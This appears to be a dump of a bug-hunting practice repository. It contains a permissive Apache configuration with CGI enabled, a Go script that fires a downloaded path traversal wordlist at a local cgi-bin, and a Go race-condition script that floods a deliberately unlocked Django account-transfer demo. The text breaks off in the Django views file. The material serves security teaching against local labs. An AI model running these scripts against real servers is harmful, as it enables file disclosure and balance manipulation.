3 | # This is the main Apache HTTP server configuration file. It contains the
4 | # configuration directives that give the server its instructions.
5 | # See for detailed information.
6 | # In particular, see
7 | #
8 | # for a discussion of each configuration directive.
9 | #
10 | # Do NOT simply read the instructions in here without understanding
11 | # what they do. They're here only as hints or reminders. If you are unsure
12 | # consult the online docs. You have been warned.
13 | #
14 | # Configuration and logfile names: If the filenames you specify for many
15 | # of the server's control files begin with "/" (or "drive:/" for Win32), the
16 | # server will use that explicit path. If the filenames do *not* begin
17 | # with "/", the value of ServerRoot is prepended -- so "logs/access_log"
18 | # with ServerRoot set to "/usr/local/apache2" will be interpreted by the
19 | # server as "/usr/local/apache2/logs/access_log", whereas "/logs/access_log"
20 | # will be interpreted as '/logs/access_log'.
21 |
22 | #
23 | # ServerRoot: The top of the directory tree under which the server's
24 | # configuration, error, and log files are kept.
25 | #
26 | # Do not add a slash at the end of the directory path. If you point
27 | # ServerRoot at a non-local disk, be sure to specify a local disk on the
28 | # Mutex directive, if file-based mutexes are used. If you wish to share the
29 | # same ServerRoot for multiple httpd daemons, you will need to change at
30 | # least PidFile.
31 | #
32 | ServerRoot "/usr/local/apache2"
33 |
34 | #
35 | # Mutex: Allows you to set the mutex mechanism and mutex file directory
36 | # for individual mutexes, or change the global defaults
37 | #
38 | # Uncomment and change the directory if mutexes are file-based and the default
39 | # mutex file directory is not on a local disk or is not appropriate for some
40 | # other reason.
41 | #
42 | # Mutex default:logs
43 |
44 | #
45 | # Listen: Allows you to bind Apache to specific IP addresses and/or
46 | # ports, instead of the default. See also the
47 | # directive.
48 | #
49 | # Change this to Listen on specific IP addresses as shown below to
50 | # prevent Apache from glomming onto all bound IP addresses.
51 | #
52 | #Listen 12.34.56.78:80
53 | Listen 80
54 |
55 | #
56 | # Dynamic Shared Object (DSO) Support
57 | #
58 | # To be able to use the functionality of a module which was built as a DSO you
59 | # have to place corresponding `LoadModule' lines at this location so the
60 | # directives contained in it are actually available _before_ they are used.
61 | # Statically compiled modules (those listed by `httpd -l') do not need
62 | # to be loaded here.
63 | #
64 | # Example:
65 | # LoadModule foo_module modules/mod_foo.so
66 | #
67 | LoadModule mpm_event_module modules/mod_mpm_event.so
68 | #LoadModule mpm_prefork_module modules/mod_mpm_prefork.so
69 | #LoadModule mpm_worker_module modules/mod_mpm_worker.so
70 | LoadModule authn_file_module modules/mod_authn_file.so
71 | #LoadModule authn_dbm_module modules/mod_authn_dbm.so
72 | #LoadModule authn_anon_module modules/mod_authn_anon.so
73 | #LoadModule authn_dbd_module modules/mod_authn_dbd.so
74 | #LoadModule authn_socache_module modules/mod_authn_socache.so
75 | LoadModule authn_core_module modules/mod_authn_core.so
76 | LoadModule authz_host_module modules/mod_authz_host.so
77 | LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
78 | LoadModule authz_user_module modules/mod_authz_user.so
79 | #LoadModule authz_dbm_module modules/mod_authz_dbm.so
80 | #LoadModule authz_owner_module modules/mod_authz_owner.so
81 | #LoadModule authz_dbd_module modules/mod_authz_dbd.so
82 | LoadModule authz_core_module modules/mod_authz_core.so
83 | #LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
84 | #LoadModule authnz_fcgi_module modules/mod_authnz_fcgi.so
85 | LoadModule access_compat_module modules/mod_access_compat.so
86 | LoadModule auth_basic_module modules/mod_auth_basic.so
87 | #LoadModule auth_form_module modules/mod_auth_form.so
88 | #LoadModule auth_digest_module modules/mod_auth_digest.so
89 | #LoadModule allowmethods_module modules/mod_allowmethods.so
90 | #LoadModule isapi_module modules/mod_isapi.so
91 | #LoadModule file_cache_module modules/mod_file_cache.so
92 | #LoadModule cache_module modules/mod_cache.so
93 | #LoadModule cache_disk_module modules/mod_cache_disk.so
94 | #LoadModule cache_socache_module modules/mod_cache_socache.so
95 | #LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
96 | #LoadModule socache_dbm_module modules/mod_socache_dbm.so
97 | #LoadModule socache_memcache_module modules/mod_socache_memcache.so
98 | #LoadModule socache_redis_module modules/mod_socache_redis.so
99 | #LoadModule watchdog_module modules/mod_watchdog.so
100 | #LoadModule macro_module modules/mod_macro.so
101 | #LoadModule dbd_module modules/mod_dbd.so
102 | #LoadModule bucketeer_module modules/mod_bucketeer.so
103 | #LoadModule dumpio_module modules/mod_dumpio.so
104 | #LoadModule echo_module modules/mod_echo.so
105 | #LoadModule example_hooks_module modules/mod_example_hooks.so
106 | #LoadModule case_filter_module modules/mod_case_filter.so
107 | #LoadModule case_filter_in_module modules/mod_case_filter_in.so
108 | #LoadModule example_ipc_module modules/mod_example_ipc.so
109 | #LoadModule buffer_module modules/mod_buffer.so
110 | #LoadModule data_module modules/mod_data.so
111 | #LoadModule ratelimit_module modules/mod_ratelimit.so
112 | LoadModule reqtimeout_module modules/mod_reqtimeout.so
113 | #LoadModule ext_filter_module modules/mod_ext_filter.so
114 | #LoadModule request_module modules/mod_request.so
115 | #LoadModule include_module modules/mod_include.so
116 | LoadModule filter_module modules/mod_filter.so
117 | #LoadModule reflector_module modules/mod_reflector.so
118 | #LoadModule substitute_module modules/mod_substitute.so
119 | #LoadModule sed_module modules/mod_sed.so
120 | #LoadModule charset_lite_module modules/mod_charset_lite.so
121 | #LoadModule deflate_module modules/mod_deflate.so
122 | #LoadModule xml2enc_module modules/mod_xml2enc.so
123 | #LoadModule proxy_html_module modules/mod_proxy_html.so
124 | #LoadModule brotli_module modules/mod_brotli.so
125 | LoadModule mime_module modules/mod_mime.so
126 | #LoadModule ldap_module modules/mod_ldap.so
127 | LoadModule log_config_module modules/mod_log_config.so
128 | #LoadModule log_debug_module modules/mod_log_debug.so
129 | #LoadModule log_forensic_module modules/mod_log_forensic.so
130 | #LoadModule logio_module modules/mod_logio.so
131 | #LoadModule lua_module modules/mod_lua.so
132 | LoadModule env_module modules/mod_env.so
133 | #LoadModule mime_magic_module modules/mod_mime_magic.so
134 | #LoadModule cern_meta_module modules/mod_cern_meta.so
135 | #LoadModule expires_module modules/mod_expires.so
136 | LoadModule headers_module modules/mod_headers.so
137 | #LoadModule ident_module modules/mod_ident.so
138 | #LoadModule usertrack_module modules/mod_usertrack.so
139 | #LoadModule unique_id_module modules/mod_unique_id.so
140 | LoadModule setenvif_module modules/mod_setenvif.so
141 | LoadModule version_module modules/mod_version.so
142 | #LoadModule remoteip_module modules/mod_remoteip.so
143 | #LoadModule proxy_module modules/mod_proxy.so
144 | #LoadModule proxy_connect_module modules/mod_proxy_connect.so
145 | #LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
146 | #LoadModule proxy_http_module modules/mod_proxy_http.so
147 | #LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so
148 | #LoadModule proxy_scgi_module modules/mod_proxy_scgi.so
149 | #LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so
150 | #LoadModule proxy_fdpass_module modules/mod_proxy_fdpass.so
151 | #LoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so
152 | #LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
153 | #LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
154 | #LoadModule proxy_express_module modules/mod_proxy_express.so
155 | #LoadModule proxy_hcheck_module modules/mod_proxy_hcheck.so
156 | #LoadModule session_module modules/mod_session.so
157 | #LoadModule session_cookie_module modules/mod_session_cookie.so
158 | #LoadModule session_crypto_module modules/mod_session_crypto.so
159 | #LoadModule session_dbd_module modules/mod_session_dbd.so
160 | #LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
161 | #LoadModule slotmem_plain_module modules/mod_slotmem_plain.so
162 | #LoadModule ssl_module modules/mod_ssl.so
163 | #LoadModule optional_hook_export_module modules/mod_optional_hook_export.so
164 | #LoadModule optional_hook_import_module modules/mod_optional_hook_import.so
165 | #LoadModule optional_fn_import_module modules/mod_optional_fn_import.so
166 | #LoadModule optional_fn_export_module modules/mod_optional_fn_export.so
167 | #LoadModule dialup_module modules/mod_dialup.so
168 | #LoadModule http2_module modules/mod_http2.so
169 | #LoadModule proxy_http2_module modules/mod_proxy_http2.so
170 | #LoadModule md_module modules/mod_md.so
171 | #LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so
172 | #LoadModule lbmethod_bytraffic_module modules/mod_lbmethod_bytraffic.so
173 | #LoadModule lbmethod_bybusyness_module modules/mod_lbmethod_bybusyness.so
174 | #LoadModule lbmethod_heartbeat_module modules/mod_lbmethod_heartbeat.so
175 | LoadModule unixd_module modules/mod_unixd.so
176 | #LoadModule heartbeat_module modules/mod_heartbeat.so
177 | #LoadModule heartmonitor_module modules/mod_heartmonitor.so
178 | #LoadModule dav_module modules/mod_dav.so
179 | LoadModule status_module modules/mod_status.so
180 | LoadModule autoindex_module modules/mod_autoindex.so
181 | #LoadModule asis_module modules/mod_asis.so
182 | #LoadModule info_module modules/mod_info.so
183 | #LoadModule suexec_module modules/mod_suexec.so
184 |
185 | #LoadModule cgid_module modules/mod_cgid.so
186 |
187 |
188 | #LoadModule cgi_module modules/mod_cgi.so
189 |
190 | #LoadModule dav_fs_module modules/mod_dav_fs.so
191 | #LoadModule dav_lock_module modules/mod_dav_lock.so
192 | #LoadModule vhost_alias_module modules/mod_vhost_alias.so
193 | #LoadModule negotiation_module modules/mod_negotiation.so
194 | LoadModule dir_module modules/mod_dir.so
195 | #LoadModule imagemap_module modules/mod_imagemap.so
196 | #LoadModule actions_module modules/mod_actions.so
197 | #LoadModule speling_module modules/mod_speling.so
198 | #LoadModule userdir_module modules/mod_userdir.so
199 | LoadModule alias_module modules/mod_alias.so
200 | #LoadModule rewrite_module modules/mod_rewrite.so
201 |
202 |
203 | #
204 | # If you wish httpd to run as a different user or group, you must run
205 | # httpd as root initially and it will switch.
206 | #
207 | # User/Group: The name (or #number) of the user/group to run httpd as.
208 | # It is usually good practice to create a dedicated user and group for
209 | # running httpd, as with most system services.
210 | #
211 | User daemon
212 | Group daemon
213 |
214 |
215 |
216 | # 'Main' server configuration
217 | #
218 | # The directives in this section set up the values used by the 'main'
219 | # server, which responds to any requests that aren't handled by a
220 | # definition. These values also provide defaults for
221 | # any containers you may define later in the file.
222 | #
223 | # All of these directives may appear inside containers,
224 | # in which case these default settings will be overridden for the
225 | # virtual host being defined.
226 | #
227 |
228 | #
229 | # ServerAdmin: Your address, where problems with the server should be
230 | # e-mailed. This address appears on some server-generated pages, such
231 | # as error documents. e.g. admin@your-domain.com
232 | #
233 | ServerAdmin you@example.com
234 |
235 | #
236 | # ServerName gives the name and port that the server uses to identify itself.
237 | # This can often be determined automatically, but we recommend you specify
238 | # it explicitly to prevent problems during startup.
239 | #
240 | # If your host doesn't have a registered DNS name, enter its IP address here.
241 | #
242 | #ServerName www.example.com:80
243 |
244 | #
245 | # Deny access to the entirety of your server's filesystem. You must
246 | # explicitly permit access to web content directories in other
247 | # blocks below.
248 | #
249 |
250 | AllowOverride none
251 | Require all granted
252 |
253 |
254 | #
255 | # Note that from this point forward you must specifically allow
256 | # particular features to be enabled - so if something's not working as
257 | # you might expect, make sure that you have specifically enabled it
258 | # below.
259 | #
260 |
261 | #
262 | # DocumentRoot: The directory out of which you will serve your
263 | # documents. By default, all requests are taken from this directory, but
264 | # symbolic links and aliases may be used to point to other locations.
265 | #
266 | DocumentRoot "/usr/local/apache2/htdocs"
267 |
268 | #
269 | # Possible values for the Options directive are "None", "All",
270 | # or any combination of:
271 | # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
272 | #
273 | # Note that "MultiViews" must be named *explicitly* --- "Options All"
274 | # doesn't give it to you.
275 | #
276 | # The Options directive is both complicated and important. Please see
277 | # http://httpd.apache.org/docs/2.4/mod/core.html#options
278 | # for more information.
279 | #
280 | Options Indexes FollowSymLinks
281 |
282 | #
283 | # AllowOverride controls what directives may be placed in .htaccess files.
284 | # It can be "All", "None", or any combination of the keywords:
285 | # AllowOverride FileInfo AuthConfig Limit
286 | #
287 | AllowOverride None
288 |
289 | #
290 | # Controls who can get stuff from this server.
291 | #
292 | Require all granted
293 |
294 |
295 | #
296 | # DirectoryIndex: sets the file that Apache will serve if a directory
297 | # is requested.
298 | #
299 |
300 | DirectoryIndex index.html
301 |
302 |
303 | #
304 | # The following lines prevent .htaccess and .htpasswd files from being
305 | # viewed by Web clients.
306 | #
307 |
308 | Require all denied
309 |
310 |
311 | #
312 | # ErrorLog: The location of the error log file.
313 | # If you do not specify an ErrorLog directive within a
314 | # container, error messages relating to that virtual host will be
315 | # logged here. If you *do* define an error logfile for a
316 | # container, that host's errors will be logged there and not here.
317 | #
318 | ErrorLog /proc/self/fd/2
319 |
320 | #
321 | # LogLevel: Control the number of messages logged to the error_log.
322 | # Possible values include: debug, info, notice, warn, error, crit,
323 | # alert, emerg.
324 | #
325 | LogLevel warn
326 |
327 |
328 | #
329 | # The following directives define some format nicknames for use with
330 | # a CustomLog directive (see below).
331 | #
332 | LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
333 | LogFormat "%h %l %u %t \"%r\" %>s %b" common
334 |
335 |
336 | # You need to enable mod_logio.c to use %I and %O
337 | LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
338 |
339 |
340 | #
341 | # The location and format of the access logfile (Common Logfile Format).
342 | # If you do not define any access logfiles within a
343 | # container, they will be logged here. Contrariwise, if you *do*
344 | # define per- access logfiles, transactions will be
345 | # logged therein and *not* in this file.
346 | #
347 | CustomLog /proc/self/fd/1 common
348 |
349 | #
350 | # If you prefer a logfile with access, agent, and referer information
351 | # (Combined Logfile Format) you can use the following directive.
352 | #
353 | #CustomLog "logs/access_log" combined
354 |
355 |
356 |
357 | #
358 | # Redirect: Allows you to tell clients about documents that used to
359 | # exist in your server's namespace, but do not anymore. The client
360 | # will make a new request for the document at its new location.
361 | # Example:
362 | # Redirect permanent /foo http://www.example.com/bar
363 |
364 | #
365 | # Alias: Maps web paths into filesystem paths and is used to
366 | # access content that does not live under the DocumentRoot.
367 | # Example:
368 | # Alias /webpath /full/filesystem/path
369 | #
370 | # If you include a trailing / on /webpath then the server will
371 | # require it to be present in the URL. You will also likely
372 | # need to provide a section to allow access to
373 | # the filesystem path.
374 |
375 | #
376 | # ScriptAlias: This controls which directories contain server scripts.
377 | # ScriptAliases are essentially the same as Aliases, except that
378 | # documents in the target directory are treated as applications and
379 | # run by the server when requested rather than as documents sent to the
380 | # client. The same rules about trailing "/" apply to ScriptAlias
381 | # directives as to Alias.
382 | #
383 | ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
384 |
385 |
386 |
387 |
388 | #
389 | # ScriptSock: On threaded servers, designate the path to the UNIX
390 | # socket used to communicate with the CGI daemon of mod_cgid.
391 | #
392 | #Scriptsock cgisock
393 |
394 |
395 | #
396 | # "/usr/local/apache2/cgi-bin" should be changed to whatever your ScriptAliased
397 | # CGI directory exists, if you have that configured.
398 | #
399 |
400 | AllowOverride None
401 | Options None
402 | Require all granted
403 |
404 |
405 |
406 | #
407 | # Avoid passing HTTP_PROXY environment to CGI's on this or any proxied
408 | # backend servers which have lingering "httpoxy" defects.
409 | # 'Proxy' request header is undefined by the IETF, not listed by IANA
410 | #
411 | RequestHeader unset Proxy early
412 |
413 |
414 |
415 | #
416 | # TypesConfig points to the file containing the list of mappings from
417 | # filename extension to MIME-type.
418 | #
419 | TypesConfig conf/mime.types
420 |
421 | #
422 | # AddType allows you to add to or override the MIME configuration
423 | # file specified in TypesConfig for specific file types.
424 | #
425 | #AddType application/x-gzip .tgz
426 | #
427 | # AddEncoding allows you to have certain browsers uncompress
428 | # information on the fly. Note: Not all browsers support this.
429 | #
430 | #AddEncoding x-compress .Z
431 | #AddEncoding x-gzip .gz .tgz
432 | #
433 | # If the AddEncoding directives above are commented-out, then you
434 | # probably should define those extensions to indicate media types:
435 | #
436 | AddType application/x-compress .Z
437 | AddType application/x-gzip .gz .tgz
438 |
439 | #
440 | # AddHandler allows you to map certain file extensions to "handlers":
441 | # actions unrelated to filetype. These can be either built into the server
442 | # or added with the Action directive (see below)
443 | #
444 | # To use CGI scripts outside of ScriptAliased directories:
445 | # (You will also need to add "ExecCGI" to the "Options" directive.)
446 | #
447 | #AddHandler cgi-script .cgi
448 |
449 | # For type maps (negotiated resources):
450 | #AddHandler type-map var
451 |
452 | #
453 | # Filters allow you to process content before it is sent to the client.
454 | #
455 | # To parse .shtml files for server-side includes (SSI):
456 | # (You will also need to add "Includes" to the "Options" directive.)
457 | #
458 | #AddType text/html .shtml
459 | #AddOutputFilter INCLUDES .shtml
460 |
461 |
462 | #
463 | # The mod_mime_magic module allows the server to use various hints from the
464 | # contents of the file itself to determine its type. The MIMEMagicFile
465 | # directive tells the module where the hint definitions are located.
466 | #
467 | #MIMEMagicFile conf/magic
468 |
469 | #
470 | # Customizable error responses come in three flavors:
471 | # 1) plain text 2) local redirects 3) external redirects
472 | #
473 | # Some examples:
474 | #ErrorDocument 500 "The server made a boo boo."
475 | #ErrorDocument 404 /missing.html
476 | #ErrorDocument 404 "/cgi-bin/missing_handler.pl"
477 | #ErrorDocument 402 http://www.example.com/subscription_info.html
478 | #
479 |
480 | #
481 | # MaxRanges: Maximum number of Ranges in a request before
482 | # returning the entire resource, or one of the special
483 | # values 'default', 'none' or 'unlimited'.
484 | # Default setting is to accept 200 Ranges.
485 | #MaxRanges unlimited
486 |
487 | #
488 | # EnableMMAP and EnableSendfile: On systems that support it,
489 | # memory-mapping or the sendfile syscall may be used to deliver
490 | # files. This usually improves server performance, but must
491 | # be turned off when serving from networked-mounted
492 | # filesystems or if support for these functions is otherwise
493 | # broken on your system.
494 | # Defaults: EnableMMAP On, EnableSendfile Off
495 | #
496 | #EnableMMAP off
497 | #EnableSendfile on
498 |
499 | # Supplemental configuration
500 | #
501 | # The configuration files in the conf/extra/ directory can be
502 | # included to add extra features or to modify the default configuration of
503 | # the server, or you may simply copy their contents here and change as
504 | # necessary.
505 |
506 | # Server-pool management (MPM specific)
507 | #Include conf/extra/httpd-mpm.conf
508 |
509 | # Multi-language error messages
510 | #Include conf/extra/httpd-multilang-errordoc.conf
511 |
512 | # Fancy directory listings
513 | #Include conf/extra/httpd-autoindex.conf
514 |
515 | # Language settings
516 | #Include conf/extra/httpd-languages.conf
517 |
518 | # User home directories
519 | #Include conf/extra/httpd-userdir.conf
520 |
521 | # Real-time info on requests and configuration
522 | #Include conf/extra/httpd-info.conf
523 |
524 | # Virtual hosts
525 | #Include conf/extra/httpd-vhosts.conf
526 |
527 | # Local access to the Apache HTTP Server Manual
528 | #Include conf/extra/httpd-manual.conf
529 |
530 | # Distributed authoring and versioning (WebDAV)
531 | #Include conf/extra/httpd-dav.conf
532 |
533 | # Various default settings
534 | #Include conf/extra/httpd-default.conf
535 |
536 | # Configure mod_proxy_html to understand HTML4/XHTML1
537 |
538 | Include conf/extra/proxy-html.conf
539 |
540 |
541 | # Secure (SSL/TLS) connections
542 | #Include conf/extra/httpd-ssl.conf
543 | #
544 | # Note: The following must must be present to support
545 | # starting without SSL on platforms with no /dev/random equivalent
546 | # but a statically compiled-in mod_ssl.
547 | #
548 |
549 | SSLRandomSeed startup builtin
550 | SSLRandomSeed connect builtin
551 |
552 |
--------------------------------------------------------------------------------
/path_traversal/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "io/ioutil"
6 | "log"
7 | "net/http"
8 | "strings"
9 | )
10 |
11 | func HttpGet(url string) string {
12 | req, err := http.NewRequest("GET", url, nil)
13 | if err != nil {
14 | panic(err)
15 | }
16 | client := new(http.Client)
17 | response, err := client.Do(req)
18 | if err != nil {
19 | log.Fatal(err)
20 | }
21 | if response.StatusCode != 200 {
22 | return ""
23 | }
24 | body, err := ioutil.ReadAll(response.Body)
25 | if err != nil {
26 | log.Fatal(err)
27 | }
28 | return string(body)
29 | }
30 |
31 | func main() {
32 | target := "http://localhost:81/cgi-bin/%s"
33 | payload := HttpGet("https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/Injections/Traversal.txt")
34 | lstPayload := strings.Split(payload, "\n")
35 | for _, value := range lstPayload {
36 | value = strings.Replace(value, "\r", "", -1)
37 | value = strings.Replace(value, "\t", "", -1)
38 | url := fmt.Sprintf(target, value)
39 | ret := HttpGet(url)
40 | if ret != "" {
41 | fmt.Println(ret)
42 | }
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/race_condition/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "net/http"
6 | "net/url"
7 | "sync"
8 | )
9 |
10 | const (
11 | NUMSEQ = 10
12 | )
13 |
14 | func main() {
15 | Url := "http://127.0.0.1/demo/row_locking_atomic_long_delay/"
16 | param := url.Values{
17 | "account": {"5"},
18 | "amount": {"10"},
19 | }
20 | var wg sync.WaitGroup
21 | wg.Add(NUMSEQ)
22 | for i := 1; i <= NUMSEQ; i++ {
23 | go func(i int) {
24 | defer wg.Done()
25 | resp, err := http.PostForm(Url, param)
26 | if err != nil {
27 | fmt.Println(err)
28 | }
29 | defer resp.Body.Close()
30 | fmt.Println(i, Url, resp.StatusCode)
31 | }(i)
32 | }
33 | wg.Wait()
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/.idea/dataSources.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | postgresql
6 | true
7 | org.postgresql.Driver
8 | jdbc:postgresql://localhost:5432/postgres
9 | $ProjectFileDir$
10 |
11 |
12 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/.idea/inspectionProfiles/Project_Default.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/.idea/race_live.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/manage.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | """Django's command-line utility for administrative tasks."""
3 | import os
4 | import sys
5 |
6 |
7 | def main():
8 | """Run administrative tasks."""
9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'race_live.settings')
10 | try:
11 | from django.core.management import execute_from_command_line
12 | except ImportError as exc:
13 | raise ImportError(
14 | "Couldn't import Django. Are you sure it's installed and "
15 | "available on your PYTHONPATH environment variable? Did you "
16 | "forget to activate a virtual environment?"
17 | ) from exc
18 | execute_from_command_line(sys.argv)
19 |
20 |
21 | if __name__ == '__main__':
22 | main()
23 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__init__.py
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/__pycache__/__init__.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/__init__.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/__pycache__/admin.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/admin.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/__pycache__/apps.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/apps.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/__pycache__/models.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/models.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/__pycache__/views.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/views.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/admin.py:
--------------------------------------------------------------------------------
1 | from django.contrib import admin
2 |
3 | # Register your models here.
4 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/apps.py:
--------------------------------------------------------------------------------
1 | from django.apps import AppConfig
2 |
3 |
4 | class RaceAppConfig(AppConfig):
5 | default_auto_field = 'django.db.models.BigAutoField'
6 | name = 'race_app'
7 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/migrations/0001_initial.py:
--------------------------------------------------------------------------------
1 | # Generated by Django 4.0.6 on 2022-07-13 07:39
2 |
3 | from django.db import migrations, models
4 | import django.db.models.deletion
5 |
6 |
7 | class Migration(migrations.Migration):
8 |
9 | initial = True
10 |
11 | dependencies = [
12 | ]
13 |
14 | operations = [
15 | migrations.CreateModel(
16 | name='Account',
17 | fields=[
18 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
19 | ('balance', models.IntegerField(default=0)),
20 | ],
21 | ),
22 | migrations.CreateModel(
23 | name='Transaction',
24 | fields=[
25 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
26 | ('amount', models.IntegerField(default=0)),
27 | ('timestamp', models.DateTimeField(auto_now=True)),
28 | ('account', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='race_app.account')),
29 | ],
30 | ),
31 | ]
32 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/migrations/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/migrations/__init__.py
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/migrations/__pycache__/0001_initial.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/migrations/__pycache__/0001_initial.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/migrations/__pycache__/__init__.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/migrations/__pycache__/__init__.cpython-310.pyc
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/models.py:
--------------------------------------------------------------------------------
1 | from django.db import models
2 |
3 |
4 | class Account(models.Model):
5 | balance = models.IntegerField(default=0)
6 |
7 | def __str__(self):
8 | return f"Account #{self.id}"
9 |
10 | class Transaction(models.Model):
11 | account = models.ForeignKey(Account, on_delete=models.SET_NULL, null=True)
12 | amount = models.IntegerField(default=0)
13 | timestamp = models.DateTimeField(auto_now=True)
14 |
15 | def __str__(self):
16 | return f"<{self.account_id}, {self.amount}, {self.timestamp.isoformat()}>"
17 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/tests.py:
--------------------------------------------------------------------------------
1 | from django.test import TestCase
2 |
3 | # Create your tests here.
4 |
--------------------------------------------------------------------------------
/race_condition/race_app/race_live/race_app/views.py:
--------------------------------------------------------------------------------
1 | import random
2 | import time
3 | from django.db import transaction
4 | from django.http import HttpRequest, HttpResponse
5 | # Only because this is a quick and simple demo
6 | from django.views.decorators.csrf import csrf_exempt
7 | from .models import Account, Transaction
8 |
9 |
10 | def random_delay() -> int:
11 | # Simulate random factors such as processing and validating the data, and
12 | # this one stupid network call that I was making for realtime related stuff
13 | # (which should have been put in a queue and delegated to a worker process).
14 | time.sleep(random.randint(3, 10))
15 |
16 |
17 | @csrf_exempt
18 | def atomic_long_delay(request: HttpRequest) -> HttpResponse:
19 | """
20 | In this example, we:
21 | - Use an atomic code block
22 | - Introduce a long (possibly random) time gap between when we read
23 | v/s when we commit the transaction (end of the atomic code block).
24 | - Don't use row locking.
25 |
26 | In this case if we have more than 1 (sync) gunicorn worker running and
27 | the frequency of requests to this endpoint (or any endpoint modifying the
28 | account balance) is greater than the time it takes for the atomic code
